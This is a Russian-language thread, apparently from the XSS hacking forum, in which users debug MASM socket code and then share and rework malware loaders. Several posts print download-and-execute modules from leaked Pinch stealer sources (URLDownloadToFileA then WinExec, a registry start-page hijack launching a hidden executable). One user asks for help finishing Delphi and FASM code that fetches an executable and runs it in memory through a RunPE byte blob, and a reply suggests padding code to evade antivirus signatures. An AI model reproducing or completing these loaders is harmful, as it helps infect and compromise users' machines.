• XSS.stack #1 – первый литературный журнал от юзеров форума

Ассемблер Для Начинающих

Пожалуйста, обратите внимание, что пользователь заблокирован
Странная ошибка появилась, recv возвращает 0 только с второго запроса. Что это может быть? Т.е. первые несколько запросов идут нормально, данные считываются в буфер, но не доходит до того запроса, где в еах должно вернутся 0 (что все прочитано). А если послать второй запрос, аж тогда отрабатывает.

Собственно, ошибка где-то в процедуре clientThread, но не могу понять. Отладчик тоже ничего не говорит, рецв тупо возвращает байты прочитанные без ошибок.
Код:
.386   
.model flat, stdcall      
option casemap :none

clientThread PROTO:DWORD

include \masm32\include\windows.inc
include \masm32\macros\macros.asm
uselib kernel32,masm32,user32,msvcrt,ws2_32
includelib \masm32\lib\irvine32.lib

.const

.data
wsadata WSADATA <>;прием данных
saddr sockaddr_in <> ;прием данных

wsa2 WSADATA <>;отправка данных
saddr2 sockaddr_in <>;отправка данных
sendsock dd 0

recv_buf db 1024 dup (0)
      
.data?
sock dd ? 
asock dd ?
 
.code
main:
invoke WSAStartup,101h,addr wsadata
    test eax,eax
    jnz @err
invoke socket,AF_INET,SOCK_STREAM,0    
    cmp eax,INVALID_SOCKET
    je @err
    mov sock,eax

mov saddr.sin_family,AF_INET
invoke htons,662
mov saddr.sin_port,ax

invoke bind,sock,offset saddr,sizeof sockaddr_in
    cmp eax,-1
    je @err
invoke listen,sock,2
    cmp eax,-1
    je @err

@@:
invoke accept,sock,0,0
    inc eax;cmp eax,-1
    je @err
    dec eax
mov asock,eax
invoke clientThread,asock
jmp @ex
    
@err:
fn MessageBox,0,LastError$(),"Last Error Text",MB_OK

@ex:
invoke shutdown,sock,SD_BOTH
invoke closesocket,sock
invoke WSACleanup    
invoke ExitProcess,0

clientThread proc clientsock:dword
local clientBuf[2048]:byte;TODO - запрос может быть больше? Позволит ли стек такой размер?
local tmpBuf[101h]:byte
invoke RtlZeroMemory,addr clientBuf,2048
@@:
invoke recv,clientsock,addr tmpBuf,100h,0
    cmp eax,SOCKET_ERROR;если ошибка, то выходим
    je @ret
test eax,eax;скачали все данные? если да, переходим дальше
jz @getReqv
invoke lstrcat,addr clientBuf,addr tmpBuf
Invoke MessageBox,0,addr tmpBuf,0,0
jmp @b

@getReqv:
invoke MessageBox,0,addr clientBuf,0,0

@ret:
ret
clientThread endp
end main
 
Код:
invoke clientThread,asock
jmp @ex
....
@ex:
invoke shutdown,sock,SD_BOTH
invoke closesocket,sock
invoke WSACleanup    
invoke ExitProcess,0
а кто будет ждать поток clientThread? ты все убиваешь не дождавшись результата.
Код:
invoke clientThread,asock
invoke WaitForSingleObject,eax,10000; 10 сек поди будет достаточно
jmp @ex
...
но в таком случае смысла во втором потоке вообще нету т.к. тоже самое можно было сделать и из одного потока.
правильнее так:
Код:
@@:
invoke accept,sock,0,0
   inc eax;cmp eax,-1
   je @err
   dec eax
invoke clientThread,eax
test eax,eax
jz @b
invoke CloseHandle,eax; <-- как у Малышевой :) - "Хорошо! - убраться за собой". да и в самом потоке closesocket будет не лишним.
jmp @b; <-- прыжок обратно на accept для обработки последующих коннектов.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
accwranadm
Спасибо, но все равно ошибка осталась, мессаджбокс при 1 коннекте выводит 2 части буфера, а потом (при втором) полный буфер и аж тогда рецв возвращает 0.
Даже без потоков, в 1 процедуре все равно.
Может я как то не так читаю с сокета?
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Картина примерно такова

Первый запрос в браузере:
Код:
  EAX=00000100  EBX=7FFDF000  ECX=00867620  EDX=00000001
  ESI=01CDA39A  EDI=7C2EC686  EBP=0012FFC0  ESP=0012F630
  EIP=004010C4  EFL=00000246  CF=0  SF=0  ZF=1  OF=0  AF=0  PF=1


  EAX=000000BB  EBX=7FFDF000  ECX=00867620  EDX=00000001
  ESI=01CDA39A  EDI=7C2EC686  EBP=0012FFC0  ESP=0012F630
  EIP=004010C4  EFL=00000246  CF=0  SF=0  ZF=1  OF=0  AF=0  PF=1

Второй запрос (в котором в еах 0, и тогда все закрывается),

Код:
  EAX=00000000  EBX=7FFDF000  ECX=00867620  EDX=00000001
  ESI=01CDA39A  EDI=7C2EC686  EBP=0012FFC0  ESP=0012F630
  EIP=004010C4  EFL=00000246  CF=0  SF=0  ZF=1  OF=0  AF=0  PF=1
Странно то, что зерофлаг установлен сразу, и как его сбросить, я не нашел. Мб тут проблема еще?
Если записывать буфер прочитанного с сокета на диск, то там мусор.


если очищать буфер через зеромемори, то вроде мусора нет, но все равно читается с второго раза :bang:
 
есчо раз код бы ну и для ответа память выделяй VirtualAlloc либо можно HeapReAlloc, это именно то, что тебе нужно. пытался логику уцепить из того что выше, но сути не понял.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Ragnar
Чем лучше так выделять память, что в стеке может места не хватить?

Код немного переписал и откомментировал. Но в целом, как я понял из советов на васме, надо смотреть к-тво байт, что вернул рецв, если меньше того, что я запрашивал (например просил 100, пришло 80), то значит все, конец. С другой стороны, если вдруг придет меньше. Короче говоря, этот сетевой кодинг тот еще геморрой.

Код:
.386   
.model flat, stdcall      
option casemap :none


include \masm32\include\windows.inc
include \masm32\macros\macros.asm
uselib kernel32,masm32,user32,msvcrt,ws2_32


.const

.data
wsadata WSADATA <>;прием данных
saddr sockaddr_in <> ;прием данных

wsa2 WSADATA <>;отправка данных
saddr2 sockaddr_in <>;отправка данных
sendsock dd 0

recv_buf db 1024 dup (0)

   
.data?
sock dd ? 
asock dd ?
 
.code
main proc
local clientBuf[2048]:byte;основной буфер
local tmpBuf[400]:byte;темп буфер для рецв
local recvd:dword

mov recvd,1h
invoke RtlZeroMemory,addr clientBuf,2048

invoke WSAStartup,101h,addr wsadata
	test eax,eax
	jnz @err
invoke socket,AF_INET,SOCK_STREAM,0	
	cmp eax,INVALID_SOCKET
	je @err
	mov sock,eax

mov saddr.sin_family,AF_INET
invoke htons,662
mov saddr.sin_port,ax

invoke bind,sock,offset saddr,sizeof sockaddr_in
	cmp eax,-1
	je @err
invoke listen,sock,2
	cmp eax,-1
	je @err


invoke accept,sock,0,0
	inc eax;cmp eax,-1
	je @err
	dec eax
mov asock,eax

@recv:
invoke RtlZeroMemory,addr tmpBuf,400;очистить буфер
invoke recv,asock,addr tmpBuf,100h,0;считать данные
    cmp eax,SOCKET_ERROR;если ошибка
    je @getReqv
	cmp eax,0;или 0 - выходим
	jz @getReqv
invoke lstrcat,addr clientBuf,addr tmpBuf;прибавим к основному буферу текущий
jmp @recv;конца хидеров нет, читаем данные снова

@getReqv:;все прочитано, можно вернутся или выйти
invoke closesocket,asock
jmp @ex
	
@err:
fn MessageBox,0,LastError$(),"Last Error Text",MB_OK

@ex:
invoke shutdown,sock,SD_BOTH
invoke closesocket,sock
invoke WSACleanup	
invoke ExitProcess,0
main endp
end main
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Вроде сделал, хз правильно ли это или нет, но судя по всему, иного решения не будет. Потом добавлю потоки + хипаллок.

Код:
mov asock,eax;сокет с accept

@recv:;цикл получения данных с сокета
invoke RtlZeroMemory,addr tmpBuf,400;очистка буфера
invoke recv,asock,addr tmpBuf,100h,0
	cmp eax,SOCKET_ERROR;ошибка
  je @getReqv
	cmp eax,0;0 - да, говнокод, надо test eax,eax, но пока пох
  jz @getReqv
	push eax;к-тво байт прочитанных рецв
invoke lstrcat,addr clientBuf,addr tmpBuf;копируем данные с временного буфера
lea edi,tmpBuf;загружаем его в еди
	pop ecx ;к-тво байт прочитанных рецв, для цикла
@@:;ищем конец хидеров
mov al,0Ah
repne scasb
cmp word ptr[edi]==0A0Dh;конец хидеров, добавить проверки не пост ли запрос и так далее
	je @getReqv;конец хидеров, выходим с цикла нафиг
test ecx,ecx;просмотрели весь буфер?
	je @recv;конца хидеров нет, читаем данные снова
jmp @b;это был конец хидера, читаем сначала

@getReqv:

Если у кого есть предложения, как лучше узнать конец запроса, пишите в теме. Recv не возвращает 0, сначала я написал код, что если с сокета прочитал меньше, чем запрашивал, то выходим; но это глупая идея наверное, ибо данные могут в сети не дойти в полном объеме.

p.s. А кто-то еще сравнивает кодинг на какой-то жабе или пхп с винапи и асм.. :fool:
 
по дефолту размер стека потока 4кб, просто в куче данные расширяемы, что снижает на память нагрузку (да и ваще верно,стек для мелких локальных переменных)
ну а конец запроса вроде как в спеке описан - \r\n\r\n, после этого получить из хидеров контент-лен и считывать, если нету хидеров, до тех пор пока нуль не вернет ресв. а есчо есть чанки и гзип )) намучаешся с ними
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Написал простой вариант RtlZeroMemory, т.е. заполнение нуллбайтом определенного участка памяти. Все работает, но интересно ваше мнение - можно ли было сделать получше/есть ли явные ошибки?

Код:
Zer0memory proc uses eax ecx edi pmem:dword,dsize:dword
xor al,al;нуллбайт
mov edi,pmem;указатель на участок памяти
mov ecx,dsize;размер участка.
cld;флаг
rep stosb;заполнить память
ret
Zer0memory endp
 
WIN7 x32:
777E5C90 /$ 57 PUSH EDI
777E5C91 |. 8B7C24 08 MOV EDI,DWORD PTR SS:[ARG.1]
777E5C95 |. 8B4C24 0C MOV ECX,DWORD PTR SS:[ARG.2]
777E5C99 |. 33C0 XOR EAX,EAX
777E5C9B |. FC CLD
777E5C9C |. 8BD1 MOV EDX,ECX
777E5C9E |. 83E2 03 AND EDX,00000003
777E5CA1 |. C1E9 02 SHR ECX,2
777E5CA4 |. F3:AB REP STOS DWORD PTR ES:[EDI]
777E5CA6 |. 0BCA OR ECX,EDX
777E5CA8 |. 75 04 JNE SHORT 777E5CAE
777E5CAA |. 5F POP EDI
777E5CAB |. C2 0800 RETN 8
777E5CAE |> F3:AA REP STOS BYTE PTR ES:[EDI]
777E5CB0 |. 5F POP EDI
777E5CB1 \. C2 0800 RETN 8
 
Врятли ты будешь работать с объемами данных, где такая оптимизация нужна... и зачем вообще изобретать подобные кодесы, если они уже есть в системных либах?
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Apocalypse
Просто для практики кодинга.

Смотрю сорцы пинча, нашел вот такой код. Интересно, зачем он нужен, может у кого-нибудь есть идеи?
Код:
invoke GetCommandLineA

	add	ax,	0Ah
	lea	ecx,	[eax]
	push	ecx

Полный код модуля ниже, хз зачем есх помещается в стек и не используется больше.
Код:
.data

szLibrary db "urlmon.dll",0
szFunction db "URLDownloadToFileA",0
szFileName db "c:\y.exe", 0

.data?
UrlDownloadToFile dword ?
.code
download proc
invoke GetCommandLineA

	add	ax,	0Ah
	lea	ecx,	[eax]
	push	ecx

	invoke LoadLibrary, addr szLibrary
	invoke GetProcAddress, eax, addr szFunction

mov UrlDownloadToFile, eax
push 0
push 0
push offset szFileName
push offset Url
push 0
call UrlDownloadToFile

invoke WinExec, addr szFileName, 1
invoke  ExitProcess, 0
download endp
 
да хрень какаято))

Добавлено в [time]1357614732[/time]
Zer0memory proc uses eax ecx edi pmem:dword,dsize:dword
xor al,al;нуллбайт
mov edi,pmem;указатель на участок памяти
mov ecx,dsize;размер участка.
cld;флаг - это не обязательно, тебе же похуй в каком направлении в данном случае
rep stosb;заполнить память
ret
Zer0memory endp
и все регистры кроме EDI можно нахуй не сохранять
 
Quake3
тупо разбавить сигнатуры мб?
 
у тебя не тот код :) код гуглиться по первым двум операндам
http://coder-lib.ru/lib/txt/6982.txt
http://archives.neohapsis.com/archives/ful...04-05/1209.html
при имени экзе aa.exe ( 6 букв ) и передачи линка следом через коммандую строку
aa.exe http://site.com/
ecx будет указывать на урл, который дальше пушится в UrlDownloadToFile.

в твоем же коде урл заменили на статичный но забыли убрать получение урла из коммандной строки
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Rev0Lt
А почему флаг направления не надо ставить? Ведь если стоит std, то память обнулится в другую сторону (а не тот буфер, что мне надо). Или нет?

el-
Спасибо, значит у меня сорцы этого ксинча кривые.

Помогите еще разобраться с этим кодом. Это оттуда же, файл называется downloader2.
Не пойму, в чем его смысл. Код создает хтмл файл на диске С:, пишет туда опять же имя файла, устанавливает этот хтмл как домашнюю страницу осла, и открывает несколько скрытых окон Ие. Но какой в этом смысл? Если подмена домашней страницы, почему окна скрытые? Если лоадер - то зачем качать с локалхоста? Ехе файл не создается. Нагуглить по кускам кода этот пример я не смог.


Код:
.686
.model flat,stdcall
option casemap:none

include \masm32\include\windows.inc
include \masm32\macros\macros.asm
uselib kernel32,user32,masm32,advapi32,shell32

.const
szOpen db "open",0	

.data
szjsName db "C:\a.htm",0
szUrls	db "Software\Microsoft\Internet Explorer\Main\",0
szAutoKeyValue2 db "Start Page", 0
szIE    	db "iexplore",0
szdFILE  db "C:\2.exe",0
	
.data?
  gKey    dd  ?
.code

; #########################################################################

download proc
  	LOCAL   hFile: DWORD
        LOCAL   bWritten: DWORD

        invoke  CreateFile, offset szjsName, GENERIC_READ or GENERIC_WRITE, FILE_SHARE_READ or FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, 0, 0
        mov     hFile, eax
        inc     eax
        jz      @end

        invoke  lstrlen, offset szjsName
        mov     edx, eax
        invoke  WriteFile, hFile, offset szjsName, edx, addr bWritten, NULL
        invoke  CloseHandle, hFile
	invoke RegOpenKeyEx, HKEY_CURRENT_USER, addr szUrls, 0, KEY_WRITE, addr gKey
	invoke lstrlen, addr szjsName
	invoke RegSetValueEx, gKey, addr szAutoKeyValue2, 0, REG_SZ, addr szjsName, eax
	invoke RegCloseKey, gKey
	invoke ShellExecuteA,0,offset szOpen,offset szIE, NULL,NULL,SW_SPOILER
	invoke Sleep, 20000 
	invoke ShellExecuteA,0,offset szOpen,offset szdFILE, NULL,NULL,SW_SPOILER
@end:
        ret
download endp
end download
 
Hi all.

Цель: скачать файл с хоста в память и оттуда же его запустить.
Вопрос: как правильно на asm сделать копирование участка памяти? (видимо из-за этого код на fasm неправильно функционирует)
Почему: пока не в совершенстве умею пользоваться отладчиком, посему обращаюсь к вам =(

Изначально был такой исходник на delphi:
Код:
program Project2;

uses
  wininet,windows;

const
  BufferSize = 30000000;

var
  hSession, hURL: HInternet;
  Buffer:  Array[1..buffersize] of Byte;
  BufferLength: DWORD;
  b1 : Array[1..buffersize] of Byte;
  RunPE:  array[0..693] of Byte = ({скачать байт-код - http://zalil.ru/34632811});

begin
  hSession := InternetOpen('useragent', INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, 0);
  hURL := InternetOpenURL(hSession, PChar('http://127.0.0.1/test.exe'), nil, 0, 0, 0);
  InternetReadFile(hURL, @Buffer, SizeOf(Buffer), BufferLength);
  move(Buffer,b1,bufferlength);
  InternetCloseHandle(hURL);
  InternetCloseHandle(hSession);
  asm
    LEA EAX, b1[0]
    LEA EBX, RunPE[0]
    CALL EBX
  end;
end.

После был "переведён" на fasm:
Код:
format PE GUI on 'nul'
entry start
section '.code' code import writeable readable executable

include 'win32ax.inc'

library kernel32, 'kernel32.dll',\
    wininet, 'wininet.dll'	
    
import	kernel32,\
	ExitProcess, 'ExitProcess'
 
import wininet,\
    InternetOpen, 'InternetOpenA',\
    InternetOpenURL, 'InternetOpenUrlA',\
    InternetReadFile, 'InternetReadFile',\
    InternetCloseHandle, 'InternetCloseHandle'

RunPE    db 55h, 8Bh, 0ECh, 81h, 0C4h, 0A4h, 0FAh, 0FFh, 0FFh, 89h, 45h, 0FCh, 0E8h, 1Bh, 02h, 00h
        ;  скачать байт-код - http://zalil.ru/34632811

start:
    
    invoke InternetOpen, 'DL-useragent', 1, 0, 0, 0
    mov [hsession], eax
    
    invoke InternetOpenURL, [hsession], down_file, 0, 0, 0, 0
    mov [hURL], eax 

    invoke InternetReadFile, [hURL], buffer, 1024, buflen
    cmp [buflen], 0
    je next
    
next:
    
   ;   ??????????????????????????????????????
   ;   копирование участка памяти ??
    mov esi, [buffer]
    mov edi, [buffer_new]
    mov ecx, [buflen]
   ;rep movsb
   ;   ??????????????????????????????????????
     
    invoke InternetCloseHandle, [hURL]
    invoke InternetCloseHandle, [hsession]
    
    lea eax, [buffer_new]
    lea ebx, [RunPE]
    call ebx
    
    xor eax, eax
    invoke ExitProcess, eax

    down_file db 'http://127.0.0.1/test.exe'
    buffer dd 300000000
    buffer_new dd 256
    buflen dd 256
    hsession dd 1
    hURL dd 1

Скачать RunPE.bin: http://zalil.ru/34632811
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх